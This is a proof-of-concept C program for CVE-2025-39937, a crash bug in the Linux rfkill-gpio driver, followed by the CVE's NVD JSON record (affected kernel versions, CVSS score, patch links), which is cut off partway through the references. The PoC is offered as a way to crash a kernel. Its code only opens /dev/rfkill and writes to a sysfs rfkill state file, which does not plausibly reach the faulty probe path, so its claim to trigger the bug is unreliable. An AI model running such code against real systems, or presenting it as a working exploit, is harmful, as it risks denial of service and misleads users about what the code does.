CVE-2025-39937

/* * CVE-2025-39937 PoC - Trigger NULL pointer dereference in rfkill-gpio driver * * This PoC demonstrates the vulnerability by attempting to bind the rfkill-gpio * driver to a BCM4752 or LNV4752 ACPI device on an x86 system. * * Prerequisites: * - Linux kernel version affected by commit 7d5e9737efda * - x86 system with BCM4752 or LNV4752 ACPI device * - Stack memory at type_name location must be non-NULL * * Note: This is a reliability issue that may cause system crash (kernel oops/panic). * The crash occurs during driver probe when rfkill_find_type() is called with * an uninitialized type_name pointer. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> /* * Trigger the vulnerability by writing to the rfkill device or * by attempting to rebind the rfkill-gpio driver to the ACPI device. * * On vulnerable systems, this will cause a kernel oops due to * dereferencing an uninitialized pointer in rfkill_find_type(). */ int main(int argc, char *argv[]) { int fd; char buf[8]; /* Attempt to trigger rfkill-gpio probe by accessing the device */ fd = open("/dev/rfkill", O_RDWR); if (fd < 0) { perror("open /dev/rfkill"); /* Try sysfs approach */ system("echo 1 > /sys/class/rfkill/rfkill0/state 2>/dev/null"); } else { /* Read current state to trigger any lazy initialization */ read(fd, buf, sizeof(buf)); close(fd); } printf("Attempted to trigger CVE-2025-39937\n"); printf("Check dmesg for kernel oops related to rfkill-gpio\n"); return 0; }

{"cve": {"id": "CVE-2025-39937", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T08:15:46.593", "lastModified": "2026-03-25T00:46:04.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: rfkill: gpio: Fix crash due to dereferencering uninitialized pointer\n\nSince commit 7d5e9737efda (\"net: rfkill: gpio: get the name and type from\ndevice property\") rfkill_find_type() gets called with the possibly\nuninitialized \"const char *type_name;\" local variable.\n\nOn x86 systems when rfkill-gpio binds to a \"BCM4752\" or \"LNV4752\"\nacpi_device, the rfkill->type is set based on the ACPI acpi_device_id:\n\n rfkill->type = (unsigned)id->driver_data;\n\nand there is no \"type\" property so device_property_read_string() will fail\nand leave type_name uninitialized, leading to a potential crash.\n\nrfkill_find_type() does accept a NULL pointer, fix the potential crash\nby initializing type_name to NULL.\n\nNote likely sofar this has not been caught because:\n\n1. Not many x86 machines actually have a \"BCM4752\"/\"LNV4752\" acpi_device\n2. The stack happened to contain NULL where type_name is stored"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6", "versionEndExcluding": "5.4.300", "matchCriteriaId": "7EE80D11-BE25-490A-B037-5E1BC5D3514D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.245", "matchCriteriaId": "B0E443AF-02FC-45A1-9CD7-3F80A65F1A15"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.194", "matchCriteriaId": "CF862263-DC8D-4324-A52A-DA1D7880B35A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.154", "matchCriteriaId": "E49CD91E-FC55-45B0-BB63-9AD5F5D70CAA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.108", "matchCriteriaId": "A7E8EAEE-7731-4996-9578-696255D61EA2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.49", "matchCriteriaId": "CAA033E9-A2C5-4976-A83E-9804D8FB827F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.16.9", "matchCriteriaId": "638DD910-1189-4F5E-98BF-2D436B695112"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:*", "matchCriteriaId": "327D22EF-390B-454C-BD31-2ED23C998A1C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:*", "matchCriteriaId": "C730CD9A-D969-4A8E-9522-162AAF7C0EE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*", "matchCriteriaId": "39982C4B-716E-4B2F-8196-FA301F47807D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*", "matchCriteriaId": "340BEEA9-D70D-4290-B502-FBB1032353B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:*", "matchCriteriaId": "47E4C5C0-079F-4838-971B-8C503D48FCC2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:*", "matchCriteriaId": "5A4516A6-C12E-42A4-8C0E-68AEF3264504"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/184f608a68f96794e8fe58cd5535014d53622cde", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/21a39b958b4bcf44f7674bfbbe1bbb8cad0d842d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/21ba85d9d508422ca9e6698463ff9357c928c22d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/47ade5f9d70b23a119ec20b1c6504864b2543a79", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/689aee35ce671aab752f159e5c8e66d7685e6887", "s ... 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